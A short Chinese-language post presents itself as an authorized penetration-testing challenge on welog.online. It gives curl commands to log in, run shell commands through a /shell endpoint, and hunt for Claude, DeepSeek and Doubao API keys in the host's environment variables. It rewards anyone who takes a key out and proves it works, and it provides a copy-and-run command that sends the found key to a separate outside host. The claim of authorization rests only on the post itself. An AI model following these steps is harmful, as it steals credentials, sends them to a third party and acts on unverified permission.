许可渗透挑战（Authorized Penetration Challenge）

本机为公开授权的渗透测试靶场，欢迎测试。
url: https://welog.online

# 1. 登录拿 token（userA / userB，密码都是 123456）
TOKEN=$(curl -s -X POST https://welog.online/login   -H "Content-Type: application/json"   -d "{\"user\":\"userA\",\"pass\":\"123456\"}" | grep -oP "(?<=\"authToken\":\")[a-f0-9]+")

# 2. bash 入口：POST https://welog.online/shell（Bearer token 认证，30s 超时）
curl -s -X POST https://welog.online/shell   -H "Authorization: Bearer $TOKEN"   -H "Content-Type: application/json"   -d "{\"cmd\":\"id; ls -la\"}"

奖励升级：机器的 Linux 环境变量里混着数枚 API key（claude / deepseek / 豆包），真的假的都有。
找到、带出、调通任意一枚真 key —— key 归你，调通方式自证（任意模型的 chat 接口 200 即可）。
环境变量提示（只报名字，值自己挖）：
  DOUBAOAPIKEY / DOUBAO_API_KEY / ARK_API_KEY / CLAUDE_API_KEY
  DEEPSEEK_API_KEY / DEEPSEEK_BASE_URL / DEEPSEEK_MODEL
  另有一枚只写进了系统环境变量（名字带横杠），从未被任何进程继承过——能不能见到，看缘分。

战果判定标准（防纸面报捷）：key 以调通为准 —— 任意 chat 接口返回 200 的才算真。401/403 的都是纸，包括上一轮被带走的那三枚（DOUBAO/ARK/CLAUDE）。别拿纸报捷。

真 key 验证通道（省得乱试，命令照抄即用）：
  baseurl：https://newai.istudy.xin（anthropic 协议，x-api-key 认证）

  curl https://newai.istudy.xin/v1/messages     -H "x-api-key: ENV里的key" -H "anthropic-version: 2023-06-01"     -H "content-type: application/json"     -d '{"model":"deepseek-flash","max_tokens":16,"messages":[{"role":"user","content":"ping"}]}'

边界：仅限本机（welog.online），禁止 DoS。22 端口的 ssh 欢迎光临。